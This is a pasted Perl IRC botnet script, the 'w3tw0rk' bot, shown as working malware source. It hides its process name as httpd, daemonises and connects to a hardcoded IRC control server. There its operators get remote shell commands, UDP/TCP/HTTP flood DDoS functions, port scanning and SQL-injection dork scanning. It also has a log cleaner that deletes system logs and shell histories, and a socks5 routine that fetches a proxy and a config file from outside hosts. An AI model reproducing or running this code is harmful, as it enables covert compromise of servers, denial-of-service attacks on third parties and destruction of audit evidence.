0v3r_L1M17 / DDOS IRC Bot script code linuXploit team


SUBMITTED BY: Guest

DATE: Sept. 13, 2013, 3:49 p.m.

FORMAT: Text only

SIZE: 72.2 kB

HITS: 999

  1. #!/usr/bin/perl
  2. ####################################
  3. # Original Design By Pitbul Modded By w3tw0rk
  4. #-[w3tw0rk B0T Commands List]-
  5. #-----[Hacking Based]-----
  6. # !bot @multiscan <vuln> <dork>
  7. # !bot @socks5
  8. # !bot @sql2 <vuln> <dork> <col>
  9. # !bot @portscan <ip>
  10. # !bot @logcleaner
  11. # !bot @sendmail <subject> <sender> <recipient> <message>
  12. # !bot @system
  13. # !bot @cleartmp
  14. # !bot @rootable
  15. # !bot @nmap <ip> <beginport> <endport>
  16. # !bot @back <ip><port>
  17. # !bot @linuxhelp
  18. # !bot @cd tmp:. | for example
  19. #-----[Advisory-New Based]-----
  20. # !bot @packetstorm
  21. # !bot @milw0rm
  22. #-----[DDos Based]-----
  23. # !bot @udpflood <host> <packet size> <time>
  24. # !bot @tcpflood <host> <port> <packet size> <time>
  25. # !bot @httpflood <host> <time>
  26. # !bot @sqlflood <host> <time>
  27. #-----[IRC Based]-----
  28. # !bot @killme
  29. # !bot @join #channel
  30. # !bot @part #channel
  31. # !bot @reset
  32. # !bot @voice <who>
  33. # !bot @owner <who>
  34. # !bot @deowner <who>
  35. # !bot @devoice <who>
  36. # !bot @halfop <who>
  37. # !bot @dehalfop <who>
  38. # !bot @op <who>
  39. # !bot @deop <who>
  40. #-----[Flooding Based]-----
  41. # !bot @msgflood <who>
  42. # !bot @dccflood <who>
  43. # !bot @ctcpflood <who>
  44. # !bot @noticeflood <who>
  45. # !bot @channelflood
  46. # !bot @maxiflood <who>
  47. ####################################
  48. use HTTP::Request;
  49. use LWP::UserAgent;
  50. my $processo = 'usr/sbin/httpd';
  51. my $linas_max='10';
  52. my $sleep='5';
  53. my $cmd="http://h4ck3d.wsnw.net/mic22.txt";
  54. my $id="http://h4ck3d.wsnw.net/mic22.txt";
  55. ############################################
  56. my @adms=("DeRf-");
  57. my @canais=("#pbot");
  58. #Put your channel here
  59. my @nickname = ("baby");
  60. my $nick = $nickname[rand scalar @nickname];
  61. #Nickname of bot
  62. my $ircname ='unix';
  63. chop (my $realname = 'unx');
  64. #IRC name and Realname
  65. $servidor='us.priv8.in' unless $servidor;
  66. my $porta='6667';
  67. ############################################
  68. $SIG{'INT'} = 'IGNORE';
  69. $SIG{'HUP'} = 'IGNORE';
  70. $SIG{'TERM'} = 'IGNORE';
  71. $SIG{'CHLD'} = 'IGNORE';
  72. $SIG{'PS'} = 'IGNORE';
  73. use IO::Socket;
  74. use Socket;
  75. use IO::Select;
  76. chdir("/");
  77. #Connect
  78. $servidor="$ARGV[0]" if $ARGV[0];
  79. $0="$processo"."\0"x16;;
  80. my $pid=fork;
  81. exit if $pid;
  82. die "Masalah fork: $!" unless defined($pid);
  83. our %irc_servers;
  84. our %DCC;
  85. my $dcc_sel = new IO::Select->new();
  86. $sel_cliente = IO::Select->new();
  87. sub sendraw {
  88. if ($#_ == '1') {
  89. my $socket = $_[0];
  90. print $socket "$_[1]\n";
  91. } else {
  92. print $IRC_cur_socket "$_[0]\n";
  93. }
  94. }
  95. sub conectar {
  96. my $meunick = $_[0];
  97. my $servidor_con = $_[1];
  98. my $porta_con = $_[2];
  99. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  100. PeerPort=>$porta_con) or return(1);
  101. if (defined($IRC_socket)) {
  102. $IRC_cur_socket = $IRC_socket;
  103. $IRC_socket->autoflush(1);
  104. $sel_cliente->add($IRC_socket);
  105. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  106. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  107. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  108. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  109. nick("$meunick");
  110. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  111. sleep 1;
  112. }
  113. }
  114. my $line_temp;
  115. while( 1 ) {
  116. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  117. select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
  118. delete($irc_servers{''}) if (defined($irc_servers{''}));
  119. my @ready = $sel_cliente->can_read(0);
  120. next unless(@ready);
  121. foreach $fh (@ready) {
  122. $IRC_cur_socket = $fh;
  123. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  124. $nread = sysread($fh, $msg, 4096);
  125. if ($nread == 0) {
  126. $sel_cliente->remove($fh);
  127. $fh->close;
  128. delete($irc_servers{$fh});
  129. }
  130. @lines = split (/\n/, $msg);
  131. for(my $c=0; $c<= $#lines; $c++) {
  132. $line = $lines[$c];
  133. $line=$line_temp.$line if ($line_temp);
  134. $line_temp='';
  135. $line =~ s/\r$//;
  136. unless ($c == $#lines) {
  137. parse("$line");
  138. } else {
  139. if ($#lines == 0) {
  140. parse("$line");
  141. } elsif ($lines[$c] =~ /\r$/) {
  142. parse("$line");
  143. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  144. parse("$line");
  145. } else {
  146. $line_temp = $line;
  147. }
  148. }
  149. }
  150. }
  151. }
  152. sub parse {
  153. my $servarg = shift;
  154. if ($servarg =~ /^PING \:(.*)/) {
  155. sendraw("PONG :$1");
  156. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  157. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  158. if ($args =~ /^\001VERSION\001$/) {
  159. notice("$pn", "\001VERSION mIRC v6.17 w3tw0rk\001");
  160. }
  161. if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  162. if ($onde eq "$meunick"){
  163. shell("$pn", "$args");
  164. }
  165. #End of Connect
  166. if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
  167. my $natrix = $1;
  168. my $arg = $2;
  169. if ($arg =~ /^\!(.*)/) {
  170. ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  171. } elsif ($arg =~ /^\@(.*)/) {
  172. $ondep = $onde;
  173. $ondep = $pn if $onde eq $meunick;
  174. bfunc("$ondep","$1");
  175. } else {
  176. shell("$onde", "$arg");
  177. }
  178. }
  179. }
  180. }
  181. ######################### End of prefix
  182. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  183. if (lc($1) eq lc($meunick)) {
  184. $meunick=$4;
  185. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  186. }
  187. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  188. nick("$meunick|".int rand(999999));
  189. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  190. $meunick = $2;
  191. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  192. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  193. foreach my $canal (@canais) {
  194. sendraw("JOIN $canal $key");
  195. }
  196. }
  197. }
  198. sub bfunc {
  199. my $printl = $_[0];
  200. my $funcarg = $_[1];
  201. if (my $pid = fork) {
  202. waitpid($pid, 0);
  203. } else {
  204. if (fork) {
  205. exit;
  206. } else {
  207. if ($funcarg =~ /^killme/) {
  208. sendraw($IRC_cur_socket, "QUIT :");
  209. $killd = "kill -9 ".fork;
  210. system (`$killd`);
  211. }
  212. ######################
  213. # Commands #
  214. ######################
  215. if ($funcarg =~ /^commands/) {
  216. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@9-[w3tw0rk B0T Commands List]-14@4] ");
  217. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[w3tbot/Hacking Based]-----14@4] ");
  218. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  219. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  220. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sql <vuln> <dork>");
  221. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  222. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  223. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  224. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  225. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  226. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  227. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  228. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");
  229. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  230. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  231. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Advisory/New Based]-----14@4] ");
  232. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  233. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  234. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[DDos Based]-----14@4] ");
  235. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  236. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  237. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  238. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  239. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[IRC Based]-----14@4] ");
  240. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3killme");
  241. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3join #channel");
  242. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3part #channel");
  243. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3reset");
  244. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  245. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  246. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  247. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  248. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  249. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  250. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  251. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  252. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  253. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  254. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  255. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  256. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  257. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  258. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  259. }
  260. if ($funcarg =~ /^linuxhelp/) {
  261. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Linux Help]-----14@4] ");
  262. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Dir where you are : pwd");
  263. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Start a Perl file : perl file.pl");
  264. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Go back from dir : cd ..");
  265. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Force to Remove a file/dir : rm -rf file/dir;ls -la");
  266. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Show all files/dir with permissions : ls -lia");
  267. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find config.inc.php files : find / -type f -name config.inc.php");
  268. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all writable folders and files : find / -perm -2 -ls");
  269. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all .htpasswd files : find / -type f -name .htpasswd");
  270. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all service.pwd files : find / -type f -name service.pwd");
  271. }
  272. if ($funcarg =~ /^help/) {
  273. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Help Commands]-----14@4] ");
  274. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3flooding - For IRC Flooding Help");
  275. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3irc - For IRC Bot Command Help ");
  276. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ddos - For DDos Command Help");
  277. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3news - For Security News Command Help ");
  278. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3hacking - For Hacking Command Help");
  279. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp - For Linux Help");
  280. }
  281. if ($funcarg =~ /^flooding/) {
  282. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  283. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  284. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  285. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  286. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  287. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  288. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  289. }
  290. if ($funcarg =~ /^irc/) {
  291. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[IRC Commands]-----14@12] ");
  292. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  293. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  294. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  295. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  296. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  297. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  298. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  299. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  300. }
  301. if ($funcarg =~ /^ddos/) {
  302. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Ddos Commands]-----14@12] ");
  303. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  304. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  305. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  306. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  307. }
  308. if ($funcarg =~ /^news/) {
  309. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[News Commands]-----14@12] ");
  310. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  311. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  312. }
  313. if ($funcarg =~ /^hacking/) {
  314. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Hacking Commands]-----14@12] ");
  315. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  316. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  317. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  318. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  319. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  320. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  321. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  322. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  323. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  324. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");
  325. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  326. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  327. }
  328. ######################
  329. # End of Help #
  330. ######################
  331. ######################
  332. # Commands #
  333. ######################
  334. if ($funcarg =~ /^system/) {
  335. $uname=`uname -a`;
  336. $uptime=`uptime`;
  337. $ownd=`pwd`;
  338. $distro=`cat /etc/issue`;
  339. $id=`id`;
  340. $un=`uname -sro`;
  341. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
  342. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a : 7 $uname");
  343. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime : 7 $uptime");
  344. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses : 7 $processo");
  345. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID : 7 $id");
  346. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir : 7 $ownd");
  347. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS : 7 $distro");
  348. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner : 7 fuck");
  349. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel : 7 #berau");
  350. }
  351. if ($funcarg =~ /^milw0rm/) {
  352. my @ltt=();
  353. my @bug=();
  354. my $x;
  355. my $page="";
  356. my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  357. print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  358. my @r = <$socke>;
  359. $page="@r";
  360. close($socke);
  361. while ($page =~ m/<title>(.*)</g){
  362. $x = $1;
  363. if ($x =~ /\&lt\;/) {
  364. $x =~ s/\&lt\;/</g;
  365. }
  366. if ($x !~ /milw0rm/) {
  367. push (@bug,$x);
  368. }
  369. }
  370. while ($page =~ m/<link.*expl.*([0-9]...)</g) {
  371. if ($1 !~ m/milw0rm.com|exploits|en/){
  372. push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  373. }
  374. }
  375. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 Latest exploits :");
  376. foreach $x (0..(@ltt - 1)) {
  377. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 $bug[$x] - $ltt[$x]");
  378. sleep 1;
  379. }
  380. }
  381. ######################
  382. # Portscan #
  383. ######################
  384. if ($funcarg =~ /^portscan (.*)/) {
  385. my $hostip="$1";
  386. @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  387. my (@aberta, %porta_banner);
  388. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Scanning for open ports on ".$1." 12 started .");
  389. foreach my $porta (@portas) {
  390. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  391. 'tcp', Timeout => 4);
  392. if ($scansock) {
  393. push (@aberta, $porta);
  394. $scansock->close;
  395. }
  396. }
  397. if (@aberta) {
  398. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Open ports founded: @aberta");
  399. } else {
  400. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] No open ports foundend.");
  401. }
  402. }
  403. ######################
  404. # End of Portscan #
  405. #####################
  406. #####################
  407. # Chk The News from PacketStorm#
  408. ######################
  409. if ($funcarg =~ /^packetstorm/) {
  410. my $c=0;
  411. my $x;
  412. my @ttt=();
  413. my @ttt1=();
  414. my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return;
  415. print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";
  416. print $sock "Host: www.packetstormsecurity.org\r\n";
  417. print $sock "Accept: */*\r\n";
  418. print $sock "User-Agent: Mozilla/5.0\r\n\r\n";
  419. my @r = <$sock>;
  420. $page="@r";
  421. close($sock);
  422. while ($page =~ m/<link>(.*)<\/link>/g)
  423. {
  424. push(@ttt,$1);
  425. }
  426. while ($page =~ m/<description>(.*)<\/description>/g)
  427. {
  428. push(@ttt1,$1);
  429. }
  430. foreach $x (0..(@ttt - 1))
  431. {
  432. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3PacketStorm12] ".$ttt[$x]." ".$ttt1[$x]."");
  433. sleep 3;
  434. $c++;
  435. }
  436. }
  437. ######################
  438. #Auto Install Socks V5 using Mocks#
  439. ######################
  440. if ($funcarg =~ /^socks5/) {
  441. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Installing Mocks please wait4");
  442. system 'cd /tmp';
  443. system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
  444. system 'tar -xvfz mocks-0.0.2.tar.gz';
  445. system 'rm -rf mocks-0.0.2.tar.gz';
  446. system 'cd mocks-0.0.2';
  447. system 'rm -rf mocks.conf';
  448. system 'curl -O http://andromeda.covers.de/221/mocks.conf';
  449. system 'touch mocks.log';
  450. system 'chmod 0 mocks.log';
  451. sleep(2);
  452. system './mocks start';
  453. sleep(4);
  454. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Looks like its succesfully installed lets do the last things4 ");
  455. #lets grab ip
  456. $net = `/sbin/ifconfig | grep 'eth0'`;
  457. if (length($net))
  458. {
  459. $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
  460. if (!length($net))
  461. {
  462. $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
  463. }
  464. if (length($net))
  465. {
  466. chop($net);
  467. @netip = split/:/,$net;
  468. $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
  469. $ip = $1 .".". $2 .".". $3 .".". $4;
  470. #and print it ^^
  471. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] Connect here :4 ". $ip .":8787 ");
  472. }
  473. else
  474. {
  475. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] IP not founded ");
  476. }
  477. }
  478. else
  479. {
  480. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] ERROR WHILE INSTALLING MOCKS ");
  481. }
  482. }
  483. ######################
  484. # Nmap #
  485. ######################
  486. if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  487. my $hostip="$1";
  488. my $portstart = "$2";
  489. my $portend = "$3";
  490. my (@abertas, %porta_banner);
  491. sendraw($IRC_cur_socket, "PRIVMSG $printl : Nmap PortScan 12:. 4| 4: $1:. |.: 4Ports 12:. 4 $2-$3");
  492. foreach my $porta ($portstart..$portend){
  493. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  494. if ($scansock) {
  495. push (@abertas, $porta);
  496. $scansock->close;
  497. if ($xstats){
  498. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan :. |Founded 4 $porta"."/Open");
  499. }
  500. }
  501. }
  502. if (@abertas) {
  503. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan 12:. 4| Complete ");
  504. } else {
  505. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan 12:. 4| No open ports have been founded 13");
  506. }
  507. }
  508. ######################
  509. # End of Nmap #
  510. ######################
  511. ######################
  512. # Log Cleaner #
  513. ######################
  514. if ($funcarg =~ /^logcleaner/) {
  515. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | This process can be long, just wait");
  516. system 'rm -rf /var/log/lastlog';
  517. system 'rm -rf /var/log/wtmp';
  518. system 'rm -rf /etc/wtmp';
  519. system 'rm -rf /var/run/utmp';
  520. system 'rm -rf /etc/utmp';
  521. system 'rm -rf /var/log';
  522. system 'rm -rf /var/logs';
  523. system 'rm -rf /var/adm';
  524. system 'rm -rf /var/apache/log';
  525. system 'rm -rf /var/apache/logs';
  526. system 'rm -rf /usr/local/apache/log';
  527. system 'rm -rf /usr/local/apache/logs';
  528. system 'rm -rf /root/.bash_history';
  529. system 'rm -rf /root/.ksh_history';
  530. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | All default log and bash_history files erased");
  531. sleep 1;
  532. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | Now Erasing the rest of the machine log files");
  533. system 'find / -name *.bash_history -exec rm -rf {} \;';
  534. system 'find / -name *.bash_logout -exec rm -rf {} \;';
  535. system 'find / -name "log*" -exec rm -rf {} \;';
  536. system 'find / -name *.log -exec rm -rf {} \;';
  537. sleep 1;
  538. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | Done! All logs erased");
  539. }
  540. ######################
  541. # End of Log Cleaner #
  542. ######################
  543. ######################
  544. # SQL SCANNER #
  545. ######################
  546. if ($funcarg =~ /^sql2\s+(.*?)\s+(.*)\s+(\d+)/){
  547. if (my $pid = fork) {
  548. waitpid($pid, 0);
  549. } else {
  550. if (my $d=fork()) {
  551. addproc($d,"[SQL2] $2");
  552. exit;
  553. } else {
  554. my $bug=$1;
  555. my $dork=$2;
  556. my $contatore=0;
  557. my ($type,$space);
  558. my %hosts;
  559. my $columns=$3;
  560. ### Start Message
  561. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Starting Scan for 4$bug $dork");
  562. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Initializing on 45 12Search Engines ");
  563. ### End of Start Message
  564. # Starting Google
  565. my @glist=&google($dork);
  566. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3SQL-Scanner12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  567. my @mlist=&msn($dork);
  568. my @asklist=&ask($dork);
  569. my @allist=&alltheweb($dork);
  570. my @aollist=&aol($dork);
  571. my @lycos=&lycos($dork);
  572. my @ylist=&yahoo($dork);
  573. my @mzlist=&mozbot($dork);
  574. my @mamalist&mamma($dork);
  575. my @hlist=&hotbot($dork);
  576. my @altlist=&altavista($dork);
  577. my @slist=&search($dork);
  578. my @ulist=&uol($dork);
  579. my @fireball=&fireball($dork);
  580. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  581. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MSN 7[".scalar(@mlist)."7] Sites");
  582. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  583. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  584. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AOL 7[".scalar(@aollist)."7] Sites");
